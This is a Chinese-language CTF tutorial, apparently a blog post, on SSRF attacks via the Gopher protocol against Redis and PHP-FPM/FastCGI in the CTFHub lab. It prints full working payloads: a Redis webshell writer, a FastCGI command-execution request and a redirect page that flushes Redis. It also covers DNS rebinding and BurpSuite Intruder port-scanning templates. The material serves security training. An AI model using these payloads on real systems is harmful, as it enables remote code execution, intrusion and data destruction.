从CTFHub靶场实战出发:手把手教你用Gopher协议打穿SSRF(附BurpSuite配置)
CTFHub靶场实战:Gopher协议在SSRF攻击中的高阶应用
第一次接触SSRF漏洞时,我被它那种"借刀杀人"的特性深深吸引——一个看似无害的Web请求,竟能成为穿透内网的利器。而Gopher协议,则是这把利刃上最锋利的刀锋。记得在去年某次CTF比赛中,我花了整整六小时与一个Redis未授权访问漏洞搏斗,直到发现Gopher协议这个突破口,那种豁然开朗的感觉至今难忘。本文将带你从实战角度,用CTFHub靶场作为演练场,一步步拆解如何用Gopher协议这把"瑞士军刀"玩转SSRF攻击。
1. 环境准备与基础认知
1.1 实验环境搭建
工欲善其事,必先利其器。我们需要准备以下环境组件:
- CTFHub SSRF靶场:选择"Gopher协议攻击"专题场景
- BurpSuite Community/Professional:建议2023.6以上版本
- Gopherus工具:GitHub开源项目(安装命令如下)
git clone https://github.com/tarunkant/Gopherus cd Gopherus && chmod +x gopherus.py- Python3环境:用于运行辅助脚本
- Redis服务:本地搭建用于测试(非必须但建议)
提示:所有实验应在隔离环境进行,避免对真实系统造成影响
1.2 Gopher协议特性解析
Gopher这个诞生于1991年的古老协议,在现代Web安全中焕发了第二春。它的几个关键特性使其成为SSRF利器:
| 特性 | 安全利用价值 |
|---|---|
| 支持多行文本输入 | 可构造完整协议报文 |
| 默认端口70可覆盖 | 能指定任意攻击端口 |
| 协议简单无加密 | 便于手工构造Payload |
| 服务端自动解析 | 无需客户端特殊支持 |
在CTFHub的SSRF题目中,我们主要利用它来封装其他协议的通信过程。比如下面这个最简单的测试Payload:
gopher://127.0.0.1:6379/_INFO这个请求会向本地的Redis服务(6379端口)发送INFO命令,如果存在未授权访问,将返回Redis服务信息。
2. 实战攻击链构建
2.1 Redis未授权访问利用
Redis的未授权访问漏洞是CTF中的常客。通过Gopher协议,我们可以实现完整的攻击流程:
- 信息收集:确认Redis服务存在
- 写入Webshell:通过config设置目录
- 执行命令:写入crontab或ssh key
使用Gopherus工具生成攻击Payload:
./gopherus.py --exploit redis工具会交互式引导生成Payload,典型输出如下:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a%3C?php system($_GET[cmd]);?%3E%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a在BurpSuite中发送时需要注意:
- 对%字符进行二次URL编码→%25
- 确认靶机Redis确实运行在6379端口
- 观察响应长度变化判断是否成功
2.2 FastCGI协议攻击
当发现目标服务器运行PHP-FPM时,FastCGI是更致命的攻击向量。关键步骤:
- 定位PHP-FPM端口(通常9000)
- 构造恶意PHP_VALUE环境变量
- 执行任意系统命令
使用Gopherus生成Payload的bash命令:
./gopherus.py --exploit fastcgi生成的Payload结构解析:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20none%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%06%04%00%3C?php system('id');?%3E%00%00%00%00在CTFHub靶场中,我们常需要调整的关键参数:
- SCRIPT_FILENAME:目标PHP文件路径
- 命令执行部分:
system('id')可替换为其他命令 - 端口号:非标准端口时需要修改
3. 高级绕过技巧
3.1 DNS重绑定实战
当遇到IP黑名单限制时,DNS重绑定是绝佳的绕过手段。实施流程:
- 注册可控域名(或使用免费动态DNS)
- 设置极短TTL(如1秒)
- 首次解析返回合法IP,后续解析返回127.0.0.1
使用BurpSuite的Collaborator功能验证:
- 在Burp→Project options→Misc中找到Collaborator server
- 生成一个Collaborator域名如:xxxxxx.oastify.com
- 在DNS配置中设置交替解析
攻击Payload示例:
http://yourdomain.oastify.com/flag.php3.2 302跳转利用
利用服务端会跟随302跳转的特性,可以构造这样的攻击链:
- 搭建一个简单的PHP跳转页面
<?php header("Location: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a"); ?>- 通过外部URL触发SSRF
http://vuln-site.com/ssrf.php?url=http://your-server.com/redirect.php- 服务端会跟随跳转到Gopher协议攻击Redis
3.3 非标准端口探测
内网服务往往运行在非标准端口,我们可以用Burp的Intruder模块进行高效探测:
- 捕获基础请求发送到Intruder
- 设置攻击类型为"Sniper"
- 在端口位置设置Payload:
Payload type: Numbers From: 1 To: 65535 Step: 1- 添加Gopher协议前缀为Payload Processing规则
- 根据响应长度/状态码筛选有效端口
4. BurpSuite高效工作流
4.1 自动化Payload生成
通过Burp的Macros功能实现自动化:
- 记录登录等必要操作流程
- 在Project options→Sessions中添加新Macro
- 在Macro编辑中添加"Custom Parameter"处理Gopher Payload
典型处理规则:
base64(URLencode(gopher_payload))4.2 Intruder攻击模板
针对不同协议可保存攻击模板:
Redis未授权模板:
- Payload set:
*1%0d%0a$8%0d%0aflushall%0d%0a *1%0d%0a$4%0d%0ainfo%0d%0a - Payload processing:
URL encode→Add prefix "gopher://127.0.0.1:6379/_"
FastCGI模板:
- 使用Pitchfork攻击类型
- 设置两个Payload位置:
- PHP文件路径
- 要执行的系统命令
4.3 响应差异分析技巧
在端口/服务探测时,关键响应特征:
| 服务类型 | 成功响应特征 | 失败响应特征 |
|---|---|---|
| Redis | +PONG/-ERR | 连接超时 |
| MySQL | 错误包头 | TCP RST |
| FastCGI | 空响应 | 连接拒绝 |
| HTTP | 状态码200 | 404/403 |
在实战中发现,Redis服务成功执行命令后通常会返回"+OK",而FastCGI攻击成功时往往返回空白响应——这种反直觉的现象需要特别注意。
